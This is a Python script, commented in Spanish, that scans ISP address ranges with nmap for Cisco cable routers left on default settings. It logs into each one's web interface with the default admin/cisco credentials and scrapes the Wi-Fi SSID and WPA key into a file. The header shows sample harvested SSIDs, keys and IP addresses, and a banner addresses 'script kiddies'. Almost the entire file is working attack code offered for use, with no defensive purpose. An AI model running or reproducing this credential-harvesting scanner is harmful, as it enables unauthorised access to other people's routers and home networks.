#!/usr/bin/python


# REQUIERE python3 y python nmap http://xael.org/norman/python/python-nmap/

#  Script que aprovecha la configuración por defecto de los routers cisco de las redes ONOXXXXXX,
#  donde X son números, y almacena el resultado en un archivo.
#  Veamos un ejemplo útil:
#  Mi ISP, ONO en este caso, me ha dado la IP 81.202.10.10 y veo que tengo al alcance un par de redes vecinas
#  ONOXXXXXX, si quiero encontrar el key de las redes, siempre y cuando no se haya cambiado la configuración
#  por defecto del router, usaría:
#  
#  $./ono_cisco_crawler.py --range 81.202.0-20.0-255 
#  $
#  $SSID=Jesusillo-----KEY=saratoga-----IP:81.202.0.3
#  $SSID=CHUPAMELADOSVECES-----KEY=********-----IP:81.202.0.2
#  $SSID=ONO111112-----KEY=TDISDUVW-----IP:81.202.0.1
#  $SSID=ONO111113-----KEY=EUVZYDXW-----IP:81.202.11.1
#  $SSID=ONO111114-----KEY=alejalen-----IP:81.202.20.1

#  Este ejemplo buscaria en el rango 81.202.0.0/81.202.20.255 donde es posible que se encuentren 
#  las redes vecinas.El resultado se almacena en el archivo results.txt
#  Más opciones:
#  $./ono_cisco_crawler.py -h

###########################################
####USALO BAJO TU RESPONSABILIDAD ######### 
###########################################

# Author gorilla.maguila@gmail.com

import urllib, urllib.parse, urllib.request, http.client
from urllib.error import HTTPError, URLError
import os, io
import nmap
import sys, socket
import argparse


def hello():
	lineList = ["     _______________________________________", 
	       "    / @Scriptkiddies: USE IT AT YOUR OWN RISK!!  \ ",
               "    |                                            |",
               "    \ Author:         gorilla.maguila@gmail.com  /",               
                "     --------------------------------------- ",
		"			\   ^__^",
		"			 \  (==)\,_______",
		"			    (__)\       )\/\ ",
		"				||----w |",
		"				||     ||"]
	for line in lineList:
		print(line)
		
def caveats():
	lineList = ["     ___________________________________________", 
	       "    / Looks like you haven't found many Targets.\ ",
               "    | Try increasing timeout and decreassing    |",
               "    | parallelism!  Example:                    |",
	       "    \./ono.py --range *.*.*.* --t 1550m --p 5   /",
               "     -------------------------------------------",
		"			\   ^__^",
		"			 \  (**)\,_______",
		"			    (__)\       )\/\ ",
		"			     U 	||----w |",
		"				||     ||"]
	for line in lineList:
		print(line)
		
#Escaneo de puertos

def scan(range, timeout, parallelism, file):
  
	try:
		nm = nmap.PortScanner()
		host_list = []
		user_arguments = '-sT -P0 -p 8080 --host-timeout '+timeout+' --max-parallelism '+parallelism
		print("\n\nUsing Nmap Arguments :", user_arguments)
		print('Finding Possible Targets..............\n')
		#Probamos con un rango de IP's de ONO
		nm.scan(hosts=range, arguments=user_arguments)
		#hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
		#print('\n\nFinding Possible Targets..............\n')
		#while nm.still_scanning():
			#print("Waiting")
			#nm.wait(0)
		for host in nm.all_hosts():
			if(nm[host]['tcp'][8080]['state'] == 'open'):
				print(host)
				host_list.append(host)
		if (host_list == []):
			print("No Suitable hosts Found!")
			#sys.exit(0)
		else:
			if (len(host_list) < 10):
				caveats()
			print('\nTargets Acquaried!')
			print('Let\'s Check Targets....\n')
			for x in host_list:
				check_url(x,file)
	except nmap.PortScannerError:
		print('Nmap not found', sys.exc_info()[0])
		sys.exit(0)
	except:
		print("Unexpected error:", sys.exc_info()[0])
		sys.exit(0) 



#def callback_result(host, scan_result):
	#if(state == 'open'):
#	if(scan_result['scan'][host]['tcp'][8080]['state'] == 'open'):
#		print(host)
	  
		
def check_url(url, file):
  
	req = urllib.request.Request("http://"+url+":8080/Docsis_system.asp")
	try: 
		urllib.request.urlopen(req, timeout=5)
	except HTTPError as e:
			print('HTTP Error:',e.code,"on",url)
			print('Skipping!')
	except URLError as e:
			print('URL Error:',e.reason,"on",url)
			print('Skipping!')
	except socket.error as e:
			print('Socket Error:', e,"on", url)
			print('Skipping!')
	except (http.client.BadStatusLine):
			print('Looks like tcpwrapped port on',url)
			print('Skipping!')
	else:
		try:
			#Cogemos el SSID
			_url = "http://" + url + ":8080/goform/Docsis_system"
			values = {'username_login' : 'admin', 'password_login' : 'cisco','LanguageSelect' : 'en'
			, 'Language_Submit' : '0' , 'login' : 'Log+In' }
			data = urllib.parse.urlencode(values)
			binary_data = data.encode('ascii')
			req = urllib.request.Request(_url, binary_data)
			resp = urllib.request.urlopen(req, timeout=5)
		except HTTPError as e:
			print('HTTP Error:',e.code,"on",url)
			print('Skipping!')
		except URLError as e:
			print('URL Error:',e.reason,"on",url)
			print('Skipping!')
		except socket.error as e:
			print('Socket Error:', e,"on", url)
			print('Skipping!')
		except (http.client.BadStatusLine):
			print('Looks like tcpwrapped port on',url)
			print('Skipping!')
		else:
			page = resp.read().decode("utf-8")
			if page.find("name=\"ssid\""):
			  ###Dirty Dirty please hack (Seguro que hay mejores formas)
			  ###Busco dos elementos únicos, los establezco como índices de referencia
			  ###para mostrar los posibles tamaños de la SSID, ya que a veces no son fijos
			  ###es decir, si se ha cambiado el password a 12345 y esperamos un password de tamaño 8, 
			  ###mostraríamos 12345 más tres caracteres de código html, por lo que establecems puntos
			  ###de referencia para evitarlo. Estoy seguro que hay métodos más elegantes
			  
				index = page.find("name=\"ssid\"")
				count = page.find("Security Mode")
				ssid = page[index+19:count-62]
				try:
					#Cogemos la clave

					_url = "http://" + url + ":8080/goform/Quick_setup"
					values =  {'Password' : '' , 'PasswordReEnter' : '' , 'setup_wifi_enable' : 'enable','ssid' : ssid, 'security_mode' : 'psk2_mixed',
						'wpa_enc' : 'tkip%2Baes',  'wpa_psk_key' : '********' , 'UnhiddenPresharedKey' : '0x01', 'radius_ip_1' : '0', 'radius_ip_2' : '0',
						'radius_ip_3' : '0', 'radius_ip_4' : '0', 'keysize' : '64', 'tx_key' : '1', 'h_setup_wifi_enable' : 'enable',
						'h_security_mode' : 'psk2_mixed', 'h_wpa_enc' : 'tkip%2Baes', 'UserId' : ''}
					data  = urllib.parse.urlencode(values) 
					binary_data = data.encode('ascii')
					req = urllib.request.Request(_url, binary_data)
					resp = urllib.request.urlopen(req, timeout=5)	
				except HTTPError as e:
					print('HTTP Error:',e.code,"on",url)
					print('Skipping!')
				except URLError as e:
					print('URL Error:',e.reason,"on",url)
					print('Skipping!')
				except socket.error as e:
					print('Socket Error:', e,"on", url)
					print('Skipping!')
				except (http.client.BadStatusLine):
					print('Looks like tcpwrapped port on',url)
					print('Skipping!')
				else:
					page = resp.read().decode("utf-8")
					if page.find("name=\"wpa_psk_key\""):
						index = page.find("name=\"wpa_psk_key\"")
						count = page.find("<!--radius")
						key = page[index+51:count-371]
						result = "SSID="+ssid+"-----KEY="+key+"-----IP:"+url
						#print("SSID=",ssid,"KEY=",key,"IP:",url)
						#Write to file
						print(result)
						file_io(file,result)
				
def file_io(file, line):
	try:
		fout = open(args.file, "a")
		fout.write("".join(line)+"\n")
		fout.close()
	except IOError as errno:
		print(errno)
	

#
#Start
#
if __name__ == '__main__':

	parser = argparse.ArgumentParser()
	parser.add_argument('--range', dest = 'range', action = 'store',
				help = 'Single/Range Ip Address to scan')
	parser.add_argument('--t', dest = 'timeout', action = 'store',
				default = '200m', help = 'Host timeout during scanning')
	parser.add_argument('--p', dest = 'parallelism', action = 'store',
				default = '20', help = 'Max parallell host scanned')	
	parser.add_argument('--w', dest = 'file', action = 'store',
				default = 'results.txt', help = 'File output name')
	args = parser.parse_args()
	if(args.range == None):
		print("Usage ./ono_cisco_crawler.py -h for more information")
	else:
		hello()
		scan(args.range, args.timeout, args.parallelism, args.file)